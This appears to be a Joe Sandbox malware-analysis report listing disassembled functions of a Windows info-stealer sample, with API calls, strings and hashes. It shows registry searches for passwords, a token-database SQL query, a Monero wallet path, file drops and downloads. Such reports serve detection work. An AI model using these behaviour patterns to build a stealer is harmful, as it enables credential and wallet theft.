RtlAllocateHeap.NTDLL(00000000), ref: 00D482C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D482E8
__aulldiv.LIBCMT ref: 00D48302
__aulldiv.LIBCMT ref: 00D48310
wsprintfA.USER32 ref: 00D4833C

Strings

@, xrefs: 00D482DD
%d MB, xrefs: 00D48333

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: cea2b8596bff6f4dd0000a3908bfbcba0f1583f57d4d6ff90557a386de7d8f2f
Instruction ID: 1120b35ab6dcbac3fb6fda955a178c94e9185208b1cdcc38d39e3f12fdfc29ed
Opcode Fuzzy Hash: cea2b8596bff6f4dd0000a3908bfbcba0f1583f57d4d6ff90557a386de7d8f2f
Instruction Fuzzy Hash: EF2108B1E44208ABDB10DFD4CC4AFAEB7B9FB44B10F104519F655BB280C77969048BB5

Function 00D360F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D34800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34889
Part of subcall function 00D34800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34899

InternetOpenA.WININET(00D50DFB,00000001,00000000,00000000,00000000), ref: 00D3615F
StrCmpCA.SHLWAPI(?,0167E7D8), ref: 00D36197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00D361DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00D36203
InternetReadFile.WININET(?,?,00000400,?), ref: 00D3622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D3625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00D36299
InternetCloseHandle.WININET(?), ref: 00D362A3
InternetCloseHandle.WININET(00000000), ref: 00D362B0

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 7b7a0fb6e5f1272beed3dedee509ef0957bb43edeb06ac165d6108cebd852cdb
Instruction ID: 0d05d6260759aa9d3c063870410121fd86a45a4a38cfc88385615f386de9a17b
Opcode Fuzzy Hash: 7b7a0fb6e5f1272beed3dedee509ef0957bb43edeb06ac165d6108cebd852cdb
Instruction Fuzzy Hash: 2E5163B1A40218ABDF20DF94CC45BEE7779EB44301F108098F645A71C1DB79AA89CFB9

Function 00DB012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DB024D
___TypeMatch.LIBVCRUNTIME ref: 00DB035B
CatchIt.LIBVCRUNTIME ref: 00DB03AC
CallUnexpected.LIBVCRUNTIME ref: 00DB04C8

Strings

csm, xrefs: 00DB016B
csm, xrefs: 00DB01D8
csm, xrefs: 00DB0284

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: 161ff28a4308801ab01718fd6924be2dcab3fafe2874d8ace669dedcd0b663f1
Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: F1B16971800209EFCF25DFA4C8859EFBBB5FF05310B1881AAE9166B212D735DA51CBB1

Function 00D37330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00D3739A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D37411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D3746D
GetProcessHeap.KERNEL32(00000000,?), ref: 00D374B2
HeapFree.KERNEL32(00000000), ref: 00D374B9
task.LIBCPMTD ref: 00D375B5

Strings

Password, xrefs: 00D37461

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 8ed3db0f863e30e637bd8dac21e3be32a0278fb978fede8f8fbe2a1176758ff0
Instruction ID: 4d9696ec1e9bd095abd4268d05cf00f96d8a47c1f242c64f6e8ac0e672a370b2
Opcode Fuzzy Hash: 8ed3db0f863e30e637bd8dac21e3be32a0278fb978fede8f8fbe2a1176758ff0
Instruction Fuzzy Hash: 27610CB590425C9BDB25DB50CC55BDAB7B8FF48300F0481E9E689A6145EBB06BC9CFB0

Function 00D3BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

lstrlen.KERNEL32(00000000), ref: 00D3BC6F

Part of subcall function 00D48FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 00D3BC9D
lstrlen.KERNEL32(00000000), ref: 00D3BD75
lstrlen.KERNEL32(00000000), ref: 00D3BD89

Strings

AccountId, xrefs: 00D3BC94
AccountTokens, xrefs: 00D3BB19
SELECT service, encrypted_token FROM token_service, xrefs: 00D3BBBB
AccountTokens, xrefs: 00D3BA8A

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 613051cdee2e2f12f09cc1e284b6c1c74b3a1ac68c8e0ebc5b44879d19a3d248
Instruction ID: e6781a8c909453a4f51c74c54f78575e71cf2579937eadaa2206be49ebc22d8b
Opcode Fuzzy Hash: 613051cdee2e2f12f09cc1e284b6c1c74b3a1ac68c8e0ebc5b44879d19a3d248
Instruction Fuzzy Hash: 20B15E76950118ABEF14FFA8DCA6EEE7339EF54301F404569F50662092EF346A48CB72

Function 00D46A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00D46A14
ExitProcess.KERNEL32 ref: 00D46A45
ExitProcess.KERNEL32 ref: 00D46A4F
ExitProcess.KERNEL32 ref: 00D46A59
ExitProcess.KERNEL32 ref: 00D46A63
ExitProcess.KERNEL32 ref: 00D46A6D

Strings

*, xrefs: 00D46A2C

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 01db7ccb0fb1af8384ec909d6b3fc8d53fce5f70e3885258adcf7ef0c7076fa4
Instruction ID: 2555797822ca4f058d32fa9167dbf183b93fcab5fa219e18b74c225db08ae71f
Opcode Fuzzy Hash: 01db7ccb0fb1af8384ec909d6b3fc8d53fce5f70e3885258adcf7ef0c7076fa4
Instruction Fuzzy Hash: B8F0A730908209EFD755DFE4E4097DCBB31EB05707F1141A5F6CA961C4C67EAA40DB62

Function 00D408A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D49850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00D408DC,C:\ProgramData\chrome.dll), ref: 00D49871

StrCmpCA.SHLWAPI(00000000,01679078), ref: 00D40922
StrCmpCA.SHLWAPI(00000000,01679088), ref: 00D40B79
StrCmpCA.SHLWAPI(00000000,01678FD8), ref: 00D40A0C

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00D40C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00D408CD
C:\ProgramData\chrome.dll, xrefs: 00D40C30

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDelete
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 1958263904-663540502
Opcode ID: 4b4e5d33cf4b3bceaeb8c4ade5d253735ea483cfd9ede8c2d9f7b283f7acb767
Instruction ID: f88dade1239d32ca336d6227ac583f3a77d9333b532072e6a8dddfe452a22061
Opcode Fuzzy Hash: 4b4e5d33cf4b3bceaeb8c4ade5d253735ea483cfd9ede8c2d9f7b283f7acb767
Instruction Fuzzy Hash: ABA147717001099FCB28EF68D996EAD7776EF94300F10816DE90A9F255DA30DA09CBB2

Function 00D39E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48CF0: GetSystemTime.KERNEL32(00D50E1B,0167A270,00D505B6,?,?,00D313F9,?,0000001A,00D50E1B,00000000,?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D48D16

wsprintfA.USER32 ref: 00D39E7F
lstrcat.KERNEL32(00000000,?), ref: 00D39F03
lstrcat.KERNEL32(00000000,?), ref: 00D39F17
lstrcat.KERNEL32(00000000,00D512D8), ref: 00D39F29
lstrcpy.KERNEL32(?,00000000), ref: 00D39F7C
Sleep.KERNEL32(00001388), ref: 00D3A013

Part of subcall function 00D499A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D499C5
Part of subcall function 00D499A0: Process32First.KERNEL32(00D3A056,00000128), ref: 00D499D9
Part of subcall function 00D499A0: Process32Next.KERNEL32(00D3A056,00000128), ref: 00D499F2
Part of subcall function 00D499A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D49A4E
Part of subcall function 00D499A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00D49A6C
Part of subcall function 00D499A0: CloseHandle.KERNEL32(00000000), ref: 00D49A79
Part of subcall function 00D499A0: CloseHandle.KERNEL32(00D3A056), ref: 00D49A88

Strings

D, xrefs: 00D39FA4

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
String ID: D
API String ID: 531068710-2746444292
Opcode ID: 0d5b1d6172961d9fa21b979fcef00a3599c6ba3d64392ac77e85af413a08a924
Instruction ID: 5eb2a73943d88d1e046fe1ed76d4edb239162dc04fe1752bab47d0196a7709f8
Opcode Fuzzy Hash: 0d5b1d6172961d9fa21b979fcef00a3599c6ba3d64392ac77e85af413a08a924
Instruction Fuzzy Hash: B75177B19443189BEB24DB64DC4AFDE7778AF44700F044598B60DAB2C1EB75AB84CF61

Function 00DAF9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00DAFA1F
___except_validate_context_record.LIBVCRUNTIME ref: 00DAFA27
_ValidateLocalCookies.LIBCMT ref: 00DAFAB0
__IsNonwritableInCurrentImage.LIBCMT ref: 00DAFADB
_ValidateLocalCookies.LIBCMT ref: 00DAFB30

Strings

csm, xrefs: 00DAFAC5

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: c03fd015d8c5632e877231817fdcdc6568a6508647902982549606bd1d381d8f
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: 7F419531900119EBCF10DFA8C884ADEBBB5FF46314F1885A5E919AB351D731D905CBB1

Function 00D35000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D3501A
RtlAllocateHeap.NTDLL(00000000), ref: 00D35021
InternetOpenA.WININET(00D50DE3,00000000,00000000,00000000,00000000), ref: 00D3503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00D35061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00D35091
InternetCloseHandle.WININET(?), ref: 00D35109
InternetCloseHandle.WININET(?), ref: 00D35116

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
